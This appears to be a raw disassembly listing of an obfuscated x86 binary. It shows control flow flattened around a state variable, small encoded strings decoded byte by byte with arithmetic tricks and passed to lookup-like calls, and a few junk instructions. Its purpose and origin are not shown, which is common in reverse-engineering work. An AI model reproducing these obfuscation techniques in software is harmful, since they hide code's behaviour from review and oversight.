mov ecx, dword [esi + 0x104]
xor edx, edx
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call fcn.0040ad60
add esp, 0x10
mov eax, dword [esi + 0x108]
sub esp, 4
mov dword [esp], eax
call fcn.004183b0
add esp, 4
mov edi, eax
sub edi, 0xffffffff
mov ecx, 2
mov eax, edi
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x412ed7
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004084d0
add esp, 4
mov dword [esi + 0x110], eax
mov eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x108]
xor edx, edx
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call fcn.0040ad60
add esp, 0x10
mov al, byte [esi + 0x124]
mov byte [esi + 0x2a4], al
mov byte [esi + 0x2c0], 0xf3
mov byte [esi + 0x2c1], 0xef
mov byte [esi + 0x2c2], 0x66
mov eax, 3
mov byte [esi + eax + 0x2c0], 0
add eax, 1
cmp eax, 5
jne 0x412f3d
xor eax, eax
cmp eax, 5
jae 0x412f91
movzx ecx, byte [esi + eax + 0x2c0]
mov edx, 0x66
sub edx, eax
mov edi, 0x66
sub edi, eax
and edx, edi
xor edx, 0xffffffff
mov edi, ecx
and edi, edx
mov edx, 0x66
sub edx, eax
xor ecx, 0xffffffff
and edx, ecx
or edx, edi
mov cl, 2
sub cl, dl
mov byte [esi + eax + 0x2c0], cl
add eax, 1
jmp 0x412f4f
lea eax, [esi + 0x2c0]
sub esp, 8
mov ecx, dword [ebp + 8]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401960
add esp, 8
mov dword [esi + 0x114], eax
mov eax, 0x52487271
cmp dword [esi + 0x114], 0
jne 0x412fc5
mov eax, 0x3dcc221
mov ecx, dword [ebx]
mov dword [ecx], eax
mov dword [esi + 0x368], 0
mov dword [esi + 0x364], 0
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0xa0]
mov ecx, dword [esi + 0x28]
shl ecx, 3
add eax, ecx
mov dword [esi + 0x518], eax
mov eax, dword [ebx]
mov dword [eax], 0x3e6012a1
mov eax, dword [esi + 0xa0]
mov dword [esi + 0x35c], eax
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0xa4]
mov ecx, dword [esi + 0x114]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401b80
add esp, 8
mov dword [esi + 0x320], eax
mov al, byte [esi + 0x120]
mov byte [esi + 0x2a8], al
mov byte [esi + 0x34], 0x6d
mov byte [esi + 0x35], 0x5b
mov byte [esi + 0x36], 0xce
mov eax, 3
mov byte [esi + eax + 0x34], 0
add eax, 1
cmp eax, 4
jne 0x41317e
xor edx, edx
cmp edx, 4
jae 0x4131d8
mov al, byte [esi + edx + 0x34]
mov byte [esi + 0x15], al
mov ecx, edx
and ecx, 0xb0
mov edi, edx
and edi, 2
xor edi, 2
mov eax, edx
and eax, 0xb0
imul edi, eax
mov eax, edx
and eax, 2
or ecx, 2
imul ecx, eax
add ecx, edi
mov eax, edx
xor eax, 0xb2
add ecx, eax
xor cl, byte [esi + 0x15]
add cl, 0x86
mov byte [esi + edx + 0x34], cl
add edx, 1
jmp 0x41318d
lea eax, [esi + 0x34]
sub esp, 8
mov ecx, dword [esi + 0x320]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401890
add esp, 8
mov dword [esi + 0x4ac], eax
mov al, byte [esi + 0x11c]
mov byte [esi + 0x2ac], al
mov byte [esi + 0x30], 0xa5
mov byte [esi + 0x31], 0xdb
mov byte [esi + 0x32], 0x42
mov eax, 3
mov byte [esi + eax + 0x30], 0
add eax, 1
cmp eax, 4
jne 0x413216
xor edi, edi
cmp edi, 4
jae 0x413258
movzx edx, byte [esi + edi + 0x30]
mov eax, edi
shl eax, 1
and eax, 0x96c78f20
mov ecx, edi
xor ecx, 0xcb63c790
add ecx, eax
mov eax, ecx
and eax, edx
shl eax, 1
add ecx, edx
sub ecx, eax
add cl, 0x30
mov byte [esi + edi + 0x30], cl
add edi, 1
jmp 0x413225
lea eax, [esi + 0x30]
sub esp, 8
mov ecx, dword [esi + 0x320]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401890
add esp, 8
mov ecx, dword [esi + 0xa4]
shl ecx, 3
add ecx, dword [esi + 0xa0]
sub esp, 8
mov dword [esp], eax
mov eax, dword [esi + 0x4ac]
mov dword [esp + 4], eax
call fcn.004186d0
mov eax, dword [esi + 0xa4]
add eax, 1
mov dword [esi + 0x51c], eax
mov eax, dword [ebx]
mov dword [eax], 0xe74ae106
mov eax, dword [esi + 0x51c]
mov dword [esi + 0x360], eax
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [esi + 0x36c]
add eax, 0xfffffff8
mov dword [esi + 0x118], eax
mov ecx, dword [esi + 0x118]
call fcn.00418780
mov ecx, dword [esi + 0x118]
mov eax, 0x49ebcc25
cmp ecx, dword [esi + 0x2c]
je 0x4133e0
mov eax, 0xb7bc9abf
mov ecx, dword [ebx]
mov dword [ecx], eax
mov eax, dword [esi + 0x118]
mov dword [esi + 0x36c], eax
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x90a5fd33
mov edi, dword [esi]
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x7b7ca826
jmp 0x4137ad
mov eax, dword [esi + 0x10c]
sub esp, 4
mov dword [esp], eax
call fcn.004084e0
add esp, 4
mov eax, dword [ebx]
mov dword [eax], 0x79da7a8f
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x7aa2cdd
jmp 0x4137ad
mov eax, dword [esi + 0xb4]
add eax, 1
mov dword [esi + 0x524], eax
mov eax, dword [ebx]
mov dword [eax], 0x17f1c0c2
mov eax, dword [esi + 0x524]
mov dword [esi + 0x32c], eax
mov edi, dword [esi]
jmp 0x4137ad
std
sub eax, 0x3c3b97a5
xor dh, byte [edi + 0x5c1228e6]
mov eax, dword [ebx]
mov dword [eax], 0x25ca1498
jmp 0x4137ad
pushal
xor cl, byte [ebx + 0x4a]
mov dword [ebx + 0x38b94ba], ebx
mov dword [eax], 0x55b80763
jmp 0x4137ad
or eax, 0x8be1ed3c
add eax, edi
add byte [esi - 0x7468b2f6], bh
notrack jmp 0x4137ad
salc
mov ebx, 0x556f410a
sub dword [esi], esi
mov eax, dword [esi + 0x94]
sub esp, 4
mov dword [esp], eax
call fcn.004084e0
add esp, 4
mov eax, dword [ebx]
mov dword [eax], 0xd3aa4dd8
jmp 0x4137ad
mov eax, dword [ebx]
mov dword [eax], 0x90a5fd33
mov edi, dword [esi]
jmp 0x4137ad
jmp 0x40ec91